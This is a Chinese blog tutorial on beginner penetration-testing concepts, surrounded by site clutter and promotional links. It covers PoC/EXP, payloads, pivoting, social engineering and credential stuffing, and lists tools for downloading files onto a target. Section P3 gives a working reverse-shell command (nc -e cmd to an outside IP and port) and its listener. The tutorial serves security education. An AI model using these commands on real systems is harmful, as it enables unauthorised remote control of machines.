学习网安需要了解的一些基础知识

Payload的定义及核心概念 在IT领域,Payload(有效载荷) 是数据传输或操作中承载实际功能或信息的主体部分,与协议头、元数据等辅助内容区分。其主要应用场景包括网络通信、恶意软件、API开发及渗透测试。在网络通信中,Payload是数据包中除去协议头部的实际内容,如HTTP请求体或TCP/IP封装的上层协议。在恶意软件中,Payload是执行核心操作的代码,如勒索软件加密文件或木马窃取数据。在API开发中,Payload是接口调用时传递的参数或数据对象,常见格式为JSON、XML等。在渗透测试中,Payload用于建立远程控制或 阅读详情

P1.基本概念

1.POC/EXP

POC(proof of concept)常指一段漏洞验证代码;EXP(exploit)指利用系统漏洞进行攻击的动作
PoC是证明_漏洞_存在的,而 Exp 是利用这个_漏洞_进一步进行攻击,先有POC,才有EXP

2.Payload/shellcode

payload(有效攻击负载)指的是漏洞利用载荷利用管道,我们在漏洞利用成功后,以什么形式给到你,比如漏洞利用成功后权限以怎么的形式给到你,它可以走HTTPS的协议,也可以走TCP协议或者其他协议,走的协议和管道权限怎么给到你的,这个过程中利用的通道成为paylload。
shellcode(可提权代码)在免杀的时候经常会提到,指的是漏洞载荷漏洞代码。

3.反弹/回显

反弹将权限反弹回来,假设你有webshell权限在上面进行操作,可以将权限移交到其他服务器上或者其他的地址上,这种行为称为反弹(后面会有反弹实例)。

4.跳板

为了更好地隐蔽自己,一些网络攻击者通常并不直接从自己的系统向目标发动攻击,而是先攻破若干中间系统,让它们成为“跳板”,再通过这些“跳板系统”完成攻击行动。简单地说,跳板攻击就是通过他人的计算机攻击目标.

5.黑盒测试/白盒测试

黑盒测试:没有源代码,只有一个目标,目标什么情况都不清楚

白盒测试:有源代码,知道对方服务器上开了什么东西,有没有网站,网站上面有什么东西,这些都清楚。

6.社会工程学/撞库:

世界第一黑客凯文·米特尼克在《欺骗的艺术》中曾提到,人为因素才是安全的软肋。很多企业、公司在信息安全上投入大量的资金,最终导致数据泄露的原因,往往却是发生在人本身。你们可能永远都想象不到,对于黑客们来说,通过一个用户名、一串数字、一串英文代码,社会工程师就可以通过这么几条的线索,通过社工攻击手段,加以筛选、整理,就能把你的所有个人情况信息、家庭状况、兴趣爱好、婚姻状况、你在网上留下的一切痕迹等个人信息全部掌握得一清二楚。虽然这个可能是最不起眼,而且还是最麻烦的方法。一种无需依托任何黑客软件,更注重研究人性弱点的黑客手法正在兴起,这就是社会工程学黑客技术。

全面了解社会工程学见https://blog.youkuaiyun.com/m0_63715896/article/details/122179488

撞库:

“撞库”(Credential Stuffing Attack)在网络安全中是一个古老的概念,按中文的字面意思解读,就是“碰撞数据库”的意思。“碰撞”意味着碰运气,即不一定能成功;而“数据库”中往往存储着大量敏感数据,比如我们登录一个网站所需要的用户名、密码,再比如手机号、身份证号等个人隐私信息。“撞库”在英文中的表述为 Credential Stuffing(密码嗅探),也非常直白的说明了撞库的主要场景:试图获取正确的账号/密码组合,大白话就是“盗号”。

现实中发生的撞库攻击主要是攻击者通过一些自动化工具(如脚本)针对要撞库站点的相关接口(比如登录接口)批量提交大量的用户名/密码组合,记录下其中能成功登录的组合并盗取该账号,为接下来做其他的坏事(比如将银行账号中的资金转走,或是游戏账号中的虚拟物品出售,或是盗用他人身份发表一些言论等等)做好准备。
全面了解撞库见https://blog.youkuaiyun.com/weixin_44549063/article/details/113518965

7.权限

文件权限&服务权限&用户权限等(权限是一个比较重要的知识点,提权,当前权限无法完成你的目标,例如你想得到网站上面的某个文件、或者获取数据库、在目标主机上安装一个应用等,文件权限:删除、修改、读取、写入)

8. 常用命令

Windows&Linux常见命令(后期用的时候网上查就可以了)

P2.实例_1文件上传下载****-解决无图形化&解决数据传输****

在渗透测试中我们一般都是在黑框框中敲命令来进行一些攻击,通常不会有图形化界面让你傻瓜式操作,这时我们就要吧自己的安全脚本下载到对方的服务器上。

Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32等

Linux:wget curl python ruby perl java等

[~]#棱角 ::Edge.Forum*

实例描述:自己搭建网站或FTP站点,将下载好的nc.exe上传到网站上以供下载

实例过程:Vmware采用 桥接模式和本机处于同一局域网可从服务器的ftp站点下载nc.exe

P3.实例_2:反弹Shell命令-解决数据回显****&解决数据通讯****

所谓数据回显指的是命令行终端敲入命令执行后,对方没有回应你不知道命令执行成功了没

所谓数据通讯指的是交互式等待你输入\回答这类情况,如你在Linux执行 一些命令的时候需要输入密码,系统会等待你的输入

反弹shell实例描述:

服务器使用命令nc -lvvp 5577监听本地的5577端口

虚拟机nc -e cmd 47.75.212.155 5577将cmd给到47.75.212.155服务器的5577端口

监听到的是本地主机的出口IP,之后服务器的命令行就获取到了虚拟机的命令行权限,这就是反弹,服务器命令行就将虚拟机的cmd权限接过来了。

P4.实例_3:防火墙绕过与正反向连接

内网与外网的区别:内网可以直接访问外网服务器,但外网的服务器不能直接访问到内网IP

比如:我在cmd中ping www.baidu.com,我可以知道百度服务器的IP地址;但如果百度服务器那边想要访问我的IP地址,是不能直接访问的,因为我的IP地址是内网,我的数据流量都是从我的出口路由器发出的,因此百度服务器只能找到这个路由器端口的IP地址。

防火墙策略:入站检测严格,出站检测宽松

正向连接:主动找别人、反向连接:让别人主动找你(看以谁为基准)

正向/反向连接:

假设一台win10电脑和一台Windows的服务器,现在win10计算机防火墙处于打开状态,本地开启监听,服务器将自己的cmd命令行通过shell反弹给到问0电脑会反弹失败,因为Windows服务器访问win10电脑,针对win10防火墙是入站,防火墙入站检测严格,因此会反弹失败。

如果换Win10把自己的cmd给到Windows服务器,针对本地的防火墙,就是出站,windows服务器开启监听,可以成功反弹。

win10->windows服务器针对Win10防火墙是入站,正向连接

Windows服务器->winn10针对win10防火墙是出站,反向连接

网安福利大礼包
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
在这里插入图片描述
② 路线对应学习视频
在这里插入图片描述
😃朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫下方码免费领取

👉优快云大礼包🎁:全网最全黑客资料免费领取🆓!(安全链接,放心点击)

2️⃣视频配套资料&国内外网安书籍、文档
① 文档和书籍资料
在这里插入图片描述
② 黑客技术
在这里插入图片描述
3️⃣网络安全源码合集+工具包
在这里插入图片描述
在这里插入图片描述
😃朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫下方码免费领取

👉优快云大礼包🎁:全网最全黑客资料免费领取🆓!(安全链接,放心点击)

HTTP中Payload的含义解析 术语通俗理解技术定义信封关于请求或响应的元信息(元数据)。HTTP Body信纸(包含书写格式)头部之后的所有数据,可能包含传输所需的框架。Payload信纸上写的实际内容Body 中真正需要被传送和处理的核心数据。当你谈论 HTTP 传输的数据时,Payload就是你最关心的那部分“货”,而头部(Headers)是包装和送货单。在大多数 Web 开发和 API 讨论中,说“请求体”或“响应体”时,指的就是这个 Payload。 阅读详情

相关推荐

Web安全—有效载荷Payload

有效载荷—Payload 提要:在Web安全的学习过程中,通常会提到Payload这个词,但是这个在安全中代表什么含义。 简介: Payload直接可以翻译为"有效载荷",其含义可以理解为数据包中的"有效数据"。 Payload理解总结: 协议角度分析:一个完整的数据传输过程中通常由三部分组成,分别是数据头部+原始数据(数据帧或数据包+校验尾部),数据头和校验尾部是为了原始数据的准确传输起作用,那么其中的原始数据就是我们通常说的Payload。 IPV4协议数据包结构举例: BurpSuite中Paylo

weixin_44431280的博客 6042

什么是payload

可以导致系统崩溃、数据泄露、远程控制等多种攻击行为。在计算机安全领域中,Payload 通常是黑客利用漏洞进行攻击的最重要部分之一。发送的恶意代码或指令,用于实现攻击目的的数据包。Payload 可以是一个简单的指令,也可以是一段复杂的代码。Payload(有效载荷)是指在计算机安全领域中,指的是攻击者在利用漏洞时,通过向受攻击的系统。

qq_44833342的博客 6733

Ubuntu 22.04蓝牙开关秒关?别慌,可能是这个Intel固件文件在搞鬼

本文深入解析Ubuntu 22.04蓝牙开关秒关问题,指出Intel固件文件缺失是常见原因,并提供详细修复方案。通过确认硬件型号、检查固件文件及智能替代方案,帮助用户快速解决蓝牙故障,提升系统稳定性。

weixin_30247307的博客 756

payload是什么?

payload是一种以JSON格式进行数据传输的一种方式。 http可能会传输payload,如果不限制其请求的方式(那么请求的方法就是OPTIONS)或者响应的状态码,其包含元数据,头部区域和数据。 如果数据是通过正常的put或者post方法发送的,那么payload就是一个http请求起始行紧接一个CRLF后面的那一部分。 起始行:POST /getProduct HTTP/1.1 首...

az44yao的专栏 8万+

深入Google DroidGuard:剖析其自定义虚拟机如何守护Android应用安全(附pcbc文件机制解析)

本文深入解析Google DroidGuard自定义虚拟机如何通过独特的架构设计和加密机制保护Android应用安全。DroidGuard采用动态密钥派生、全加密执行环境和pcbc文件机制,有效防御逆向工程和自动化攻击,为移动安全提供新思路。

weixin_34254464的博客 307

BEVFormer详解

BEVFormer 是将Transformer架构的自注意机制与BEV视图中3D检测结合起来的一种纯视觉目标检测方案。对于纯视觉的BEV检测方案,其中的重中之重就是如何将2D的图像特征映射到3D空间的BEV栅格,既然是映射关系,那就有前行投影和反向查询两种机制。前向投影是基于深度估计的方法,参考基于深度估计的BEV视图转换方法,典型代表为LSS。反向查询方法思路为先将BEV栅格在Z方向上进行lift提升,然后再映射到图像特征图上进行特征查询。BEVFormer 就是基于这种机制进行2D图像特征到3D空间的B

MAX的专栏 4745

网络安全入门指南,学习网安必须掌握的技术

如果你想学习网络安全,以下是一些你需要掌握的基础知识:计算机基础知识在学习网络安全之前,你需要先掌握一些计算机基础知识,例如计算机硬件、操作系统、网络协议等。这些基础知识可以让你更好地理解网络安全的概念和原理。编程语言学习一门或多门编程语言对于网络安全工作至关重要,因为安全工程师需要编写脚本和代码来实现各种安全操作。常见的编程语言包括Python、Java、C/C++等。网络安全基础知识网络安全是一个非常广泛的领域,包括很多的技术和概念,例如密码学、网络协议、漏洞分析、渗透测试等。

2301_76168381的博客 745

【故障排查】telnet连接失败:端口23不可达的深度分析与解决方案

本文深度解析telnet连接失败时端口23不可达的常见原因与解决方案。从快速自查目标地址、端口到服务端排查,涵盖服务状态检查、防火墙配置及安全组设置,并提供进阶诊断工具与抓包分析方法。文章强调telnet协议的安全风险,建议在生产环境中改用SSH等加密协议进行远程管理。

weixin_28323057的博客 394

学习网安的web入门基础

本文较为详细的讲解了学习网安的入门级基础web基础,涉及概念,协议,和作者总结的知识结晶,是初学者的福音

十步不敢沙人的博客 689

Hyper-V集群部署指南

工欲善其事,必先利其器。搭建一个方便管理的服务集群,是分布式学习很重要的环境。 目前流行的虚拟机产品主要为Vmware 和 win10自带的Hyper-V(win10家庭版无此功能),网上关于Vmware的教程更多,显然它更容易上手,但Hyper-V也算是一个很不错的产品,这里记录一下我的学习过程: 目录 Hyper-V的安装 服务集群的搭建 虚拟机的网络通信 NAT网络的搭建 端口映射 Linux的静态IP 虚拟机的自启动问题 Hyper-V的安装 也不能算说是安装,如果你的win1

Swing 6919

POI 写word,添加标题,表格,图片,自动生成目录,合并单元格

工程地址:https://github.com/zheng-chang-wei/word package com.example.demo1.poi; import org.apache.poi.xwpf.usermodel.XWPFDocument; import java.io.File; import java.io.FileOutputStream; public class ...

zheng_chang_wei的博客 6155

【如何学习网安(浅谈)】

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

2402_84205067的博客 793

【Halcon-2D测量】add_metrology_object_rectangle2_measure 函数功能(用于向2D计量模型中添加旋转矩形(rectangle2类型)计量对象)

HALCON算子add_metrology_object_rectangle2_measure解析摘要 该算子是HALCON 2D计量模块的核心算子,用于添加旋转矩形计量对象并配置测量参数。主要功能包括:定义旋转矩形几何轮廓(中心坐标、主轴角度、长短半长);生成垂直于矩形边界的测量区域;设置边缘提取预处理参数(高斯平滑、振幅阈值)。关键注意事项:MeasureLength1必须小于矩形长短半长;角度参数Phi需使用弧度单位;多线程需同步模型句柄。该算子适用于方形螺母、PCB板边框等矩形零件的精密测量,需与a

weixin_45590420的博客 1223

学习网安(21)

第20章存在疑问,待开学后和老师求证改动后发布。

weixin_52919955的博客 1635

Android11原生设置屏幕亮由Gamma变化改为线性变化

从Android9 开始屏幕亮度调解变成非线性变化,这样的话就会出现 之前亮度变化很小,到后面时变化亮度很快; 修改为线性变化,只需要修改 ./frameworks/base/packages/SettingsLib/src/com/android/settingslib/display/BrightnessUtils.java /* * Copyright (C) 2018 The Android Open Source Project * * Licensed under the Apache L

Android 4926

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

学习网安(15)

shell脚本是一个文件,文件中编写了各种批量自动执行的命令格式:变量名=变量值(=两边无空格)变量名不能用引号变量值可以用引号变量值是数字类型,则不用引号变量值是字符串类型,则必须用引号要求:只能有数字、字母、下划线( _ )不能以数字为开头变量名要做到见名知道意建议定义格式单驼峰格式:stuName双驼峰格式:StuName下划线拼接:stu_name。

weixin_52919955的博客 1553

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

你觉得学网安后悔了?

如果你也想学习:黑客&网络安全的渗透攻防别,你可千万别后悔!!!首先,你学网安这个选择没有一点毛病,作为一个前辈,我可以明明白白的告诉你,近年程序员就业情况当中,网安是最舒服的一批,所以我看到你说想转开发我的第一反应只有【震惊】。。。开发已经卷到什么程度了?我随便给你举个例子吧,拿Java来说,学Java的人是远大于招聘的需求的,这导致一个什么情况呢,就是薪资待遇无下限,你学的好的如果不接受低工资,我就把岗位交给学的没你好的人,你觉得你能接受不?

资深程序员,曾自学JAVA,C#,如今从业于网安行业 1225

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

不想做程序员了,听说网安前景好,好转行吗?

我四月份被裁员,找了两个月工作,面试寥寥无几,就算有也都是外包,而且外包也没面试通过。我经历了挫败,迷茫,自我怀疑。常常大半夜刷招聘软件,不断的修改简历,甚至有时候坐在沙发上焦虑到哭。好在,我一个大胆的决定意外让我找到了现在这份我很喜欢的工作,开发转做渗透。

logic1001的博客 948

如何学习网络安全_怎么学习网安

不要以编程为基础再开始学习网络安全,一般来说,学习编程不但学习周期长,且过渡到网络安全用到编程的用到的编程的关键点不多。一般人如果想要把编程学好再开始学习网络安全往往需要花费很长时间,容易半途而废。建议在学习网络安全的过程中,哪里不会补哪里,这样更有目的性且耗时更少。学习编程能决定你能在网络安全这条路上到底能走多远,所以推荐大家自学一些基础编程的知识学习讲究这方法,需要一步一步的来,由浅至深,慢慢的加大难度,很多人刚开始就猛学,很容易到后面的时候乏力,越学可能就越学得枯燥,到最后就很容易放弃了。

2401_84254364的博客 748
上一篇: python 爬虫(cookie)到底是干嘛的?
下一篇: python-for循环的多种使用
Python_P叔
博客等级 码龄3年 5451粉丝 827原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值